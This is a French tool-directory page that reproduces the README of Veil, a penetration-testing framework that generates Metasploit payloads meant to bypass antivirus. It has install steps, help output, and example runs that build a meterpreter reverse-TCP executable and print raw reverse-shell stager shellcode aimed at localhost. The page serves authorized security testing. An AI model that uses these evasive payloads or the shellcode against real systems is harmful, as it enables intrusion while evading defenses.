Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Veil — Veil 3.1.X (Vérifiez les informations de version dans Veil au moment de l'exécution) | Kitploit
Outils/GitHubGitHub/veil-framework/veil
Frameworks d'ExploitationGénération de PayloadsTests d'IntrusionCommandement et ContrôleGénération de ShellcodeArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (Vérifiez les informations de version dans Veil au moment de l'exécution)

Voir le dépôt
4.2k9148il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Veil

Veil Logo

Veil est un outil conçu pour générer des charges utiles metasploit qui contournent les solutions antivirus courantes.

Veil est actuellement maintenu par @ChrisTruncer


Prérequis logiciels :

Les systèmes d'exploitation suivants sont officiellement pris en charge :

  • Debian 8+
  • Kali Linux Rolling 2018.1+

Les systèmes d'exploitation suivants sont susceptibles de pouvoir exécuter Veil :

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

Installation

Installation rapide sur Kali

root@kitploit:~
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Installation rapide via Git

REMARQUE :

  • L'installation doit être effectuée avec les privilèges superutilisateur. Si vous n'utilisez pas le compte root (comme par défaut avec Kali Linux), préfixez les commandes par ou passez à l'utilisateur root avant de commencer.
sudo
  • Votre gestionnaire de paquets peut être différent de apt. Vous aurez également besoin d'un serveur X en cours d'exécution, soit sur le système lui-même, soit sur votre système local.
  • root@kitploit:~
    sudo apt-get -y install git
    git clone https://github.com/Veil-Framework/Veil.git
    cd Veil/
    ./config/setup.sh --force --silent
    

    ./config/setup.sh // Fichiers d'installation

    Ce fichier est responsable de l'installation de toutes les dépendances de Veil. Cela inclut tout l'environnement WINE, pour le côté Windows. Il installera tous les paquets Linux nécessaires et GoLang, ainsi que Python, Ruby et AutoIT pour Windows. De plus, il exécutera également ./config/update-config.py pour votre environnement.

    Il comprend deux options facultatives, --force et --silent :

    root@kitploit:~
    --force ~ Si quelque chose se passe mal, cela écrasera la détection des installations précédentes. Utile lorsqu'il y a une mise à jour du paquet d'installation.
    --silent ~ Cela effectuera une installation non supervisée de tout, car il automatisera toutes les étapes, donc aucune interaction de l'utilisateur.
    

    Cela peut être exécuté soit par ./Veil.py --setup OU ./config/setup.sh --force.

    ./config/update-config.py // Régénération du fichier de configuration

    Cela générera le fichier de sortie pour /etc/veil/settings.py. La plupart du temps, il n'aura pas besoin d'être reconstruit, mais dans certains cas, vous pourriez être invité à le faire (comme une mise à jour majeure de Veil).

    Il est important que vous soyez dans le répertoire ./config/ avant d'exécuter update-config.py. Sinon, /etc/veil/settings.py sera incorrect et lorsque vous lancerez Veil, vous verrez ce qui suit :

    root@kitploit:~
        Main Menu
    
                0 payloads loaded
    

    Ne paniquez pas. Exécutez soit ./Veil.py --config OU cd ./config/; ./update-config.py.

    Py2Exe

    REMARQUE : L'utilisation de Py2Exe est recommandée plutôt que PyInstaller (car il a un taux de détection plus faible).

    INSTALLATION MANUELLE sur un ordinateur Windows (car cela n'est pas fait par l'installation de Veil) :

    • Python 3.3
    • Py2Exe
    • PyCrypto
    • PyWin32

    Exemple d'utilisation

    Menu principal de Veil :

    root@kitploit:~
    $ ./Veil.py
    ===============================================================================
                                 Veil | [Version]: 3.1.6
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
    Main Menu
    
      2 tools loaded
    
    Available Tools:
    
      1)  Evasion
      2)  Ordnance
    
    Available Commands:
    
      exit      Completely exit Veil
      info      Information on a specific tool
      list      List available tools
      options     Show Veil configuration
      update      Update Veil
      use     Use a specific tool
    
    Veil>:
    

    Aide

    root@kitploit:~
    $ ./Veil.py --help
    usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
                   [--version] [--ip IP] [--port PORT] [--list-payloads]
                   [-p [PAYLOAD]] [-o OUTPUT-NAME]
                   [-c [OPTION=value [OPTION=value ...]]]
                   [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
                   [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
                   [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
    
    Veil is a framework containing multiple tools.
    
    [*] Veil Options:
      --list-tools          List Veil's tools
      -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
      --update              Update the Veil framework
      --setup               Run the Veil framework setup file & regenerate the
                            configuration
      --config              Regenerate the Veil framework configuration file
      --version             Displays version and quits
    
    [*] Callback Settings:
      --ip IP, --domain IP  IP address to connect back to
      --port PORT           Port number to connect to
    
    [*] Payload Settings:
      --list-payloads       Lists all available payloads for that tool
    
    [*] Veil-Evasion Options:
      -p [PAYLOAD]          Payload to generate
      -o OUTPUT-NAME        Output file base name for source and compiled binaries
      -c [OPTION=value [OPTION=value ...]]
                            Custom payload module options
      --msfoptions [OPTION=value [OPTION=value ...]]
                            Options for the specified metasploit payload
      --msfvenom []         Metasploit shellcode to generate (e.g.
                            windows/meterpreter/reverse_tcp etc.)
      --compiler pyinstaller
                            Compiler option for payload (currently only needed for
                            Python)
      --clean               Clean out payload folders
    
    [*] Veil-Ordnance Shellcode Options:
      --ordnance-payload PAYLOAD
                            Payload type (bind_tcp, rev_tcp, etc.)
    
    [*] Veil-Ordnance Encoder Options:
      --list-encoders       Lists all available encoders
      -e ENCODER, --encoder ENCODER
                            Name of shellcode encoder to use
      -b \x00\x0a.., --bad-chars \x00\x0a..
                            Bad characters to avoid
      --print-stats         Print information about the encoded shellcode
    $
    

    Veil Evasion CLI

    root@kitploit:~
    $ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
    runtime/internal/sys
    runtime/internal/atomic
    runtime
    errors
    internal/race
    sync/atomic
    math
    sync
    io
    unicode/utf8
    internal/syscall/windows/sysdll
    unicode/utf16
    syscall
    strconv
    reflect
    encoding/binary
    command-line-arguments
    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
     [*] Language: go
     [*] Payload Module: go/meterpreter/rev_tcp
     [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
     [*] Source code written to: /var/lib/veil/output/source/payload.go
     [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
    $
    $ file /var/lib/veil/output/compiled/payload.exe
    /var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
    $
    

    Veil Ordnance CLI

    root@kitploit:~
    $ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
    ===============================================================================
                                       Veil-Ordnance
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
     [*] Payload Name: Reverse TCP Stager (Stage 1)
     [*] IP Address: 127.0.0.1
     [*] Port: 4444
     [*] Shellcode Size: 287
    
    \xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
    $
    

    Licence

    Ce projet est sous licence GNU General Public License v3.

    Télécharger l’outil